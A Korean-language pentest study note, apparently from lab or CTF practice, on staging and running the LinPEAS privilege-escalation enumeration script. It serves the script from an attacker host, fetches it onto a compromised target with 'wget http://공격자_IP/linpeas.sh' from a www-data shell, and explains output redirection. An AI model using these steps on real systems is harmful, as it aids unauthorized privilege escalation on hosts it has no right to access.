LinPEAS (Linux Privilege Escalation Awesome Script)는 리눅스 권한 상승(Linux Privilege Escalation)에 필요한 정보를 자동으로 수집하고, 잠재적인 취약점을 분석해 주는 스크립트 도구

허용: 정보 수집 (Enumeration) 기능. -> 수집용으로만 사용하기
금지: 자동 악용 (Automated Exploitation) 기능.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
# 탐색만 실행
chmod +x linpeas.sh
# attacker -> 파일 실행 위치 주의
python3 -m http.server 80
# target
cd /tmp # 일반적으로 tmp 는 쓰기가 가능한 디렉토리이므로 이동해서 안전하게 다운로드 시도
wget http://공격자_IP/linpeas.sh
# 쓰기 권한이 가능한 디렉토리 찾기
find / -writable -type d 2>/dev/null
# 실행
/tmp/linpeas.sh > /tmp/linpeas_result.txt
# attacker Host -> linpeas.sh 파일이 있는 디렉토리에서 실행
python3 -m http.server 80
# target host
www-data@startup:/var/www/html$ cd /tmp
www-data@startup:/var/www/html$ wget http://공격자IP/linpeas.sh
www-data@startup:/tmp$ chmod +x linpeas.sh
www-data@startup:/tmp$ ./linpeas.sh > linpeas_result.txt 2>&1
./linpeas.sh > linpeas_result.txt 2>&1이 명령어는 LinPEAS (Linux Privilege Escalation Awesome Script) 스크립트를 실행하고, 실행 과정에서 발생하는 모든 출력을 파일에 저장하도록 지시하는 명령어입니다. 이는 모의 해킹 환경에서 흔히 사용되는 표준 리눅스 쉘 리다이렉션 기법입니다.
| 구성 요소 | 설명 | 기능 |
|---|---|---|
./linpeas.sh | 실행할 파일 | 현재 디렉토리에 있는 linpeas.sh 스크립트를 실행합니다. (./은 현재 디렉토리를 의미합니다.) |
> | 표준 출력 리다이렉션 | 명령어의 표준 출력 ()을 리다이렉션합니다. |
linpeas_result.txt | 출력 파일 이름 | ./linpeas.sh의 실행 결과가 저장될 파일 이름입니다. |
2> | 표준 오류 리다이렉션 | 명령어의 표준 오류 ()를 리다이렉션합니다. |
&1 | 파일 디스크립터 지정 | 2 (표준 오류)를 1 (표준 출력)과 같은 곳으로 보내라는 의미입니다. |
이 명령어의 핵심은 > linpeas_result.txt와 2>&1의 조합입니다.
linpeas_result.txt 파일로 저장됩니다../linpeas.sh의 출력 () linpeas_result.txt2>&1): 2>&1은 표준 오류 ()의 출력을 표준 출력 ()이 향하는 곳으로 보내라는 뜻입니다.linpeas_result.txt를 가리키고 있으므로, 오류 메시지까지 모두 linpeas_result.txt 파일에 함께 저장됩니다.결론적으로, 이 명령어는 LinPEAS 실행 중 화면에 나타나는 정상 결과와 오류 메시지 모두를 linpeas_result.txt 파일 하나에 저장하는 역할을 합니다. 이는 나중에 결과를 깔끔하게 분석하기 위한 필수적인 작업입니다.